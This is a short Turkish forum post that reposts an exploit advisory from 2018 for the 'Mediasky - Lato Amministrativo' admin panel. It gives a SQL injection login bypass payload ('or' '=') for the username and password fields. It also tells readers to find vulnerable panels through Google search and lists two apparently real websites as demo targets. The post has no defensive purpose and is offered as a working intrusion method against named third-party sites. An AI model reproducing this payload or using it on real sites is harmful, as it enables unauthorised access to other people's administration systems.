Italia Mediasky - Lato Amministrativo Admin Login Bypass

Selamün Aleyküm.

Yakın bir zamanlar da bulmuş olduğum ve yakın bir arkadaşımın raporladığı bir exploiti paylaşayım dedim.

Buyrun;

#################################################################################
# Exploit Title: İtalia Mediasky - Lato Amministrativo Admin Login Bypass
# Author : Turkz.org/risk-master/TuğrulBey
# Date : 2018-05-09
# You can look with Google search : Mediasky - Lato Amministrativo
# Tested on : Kali Linux 2018.2 And W10
# Vendor Home : http://www.bereewineshop.com/admin/
# Blog : http://www.tugrulbey.com
# Forum : http://www.turkz.org/
#################################################################################

Tutorial:

[+] You can enter the name of the admin panel by visiting Google search.
[+] Open target
[+] Enter username and password with
[+] Username: 'or' '='
[+] Password: 'or' '='

Demo:
http://www.bereewineshop.com/admin/
http://intelligentpdu.it/admin/

Refarans: https://cxsecurity.com/issue/WLB-2018050057

 

Eline Sağlık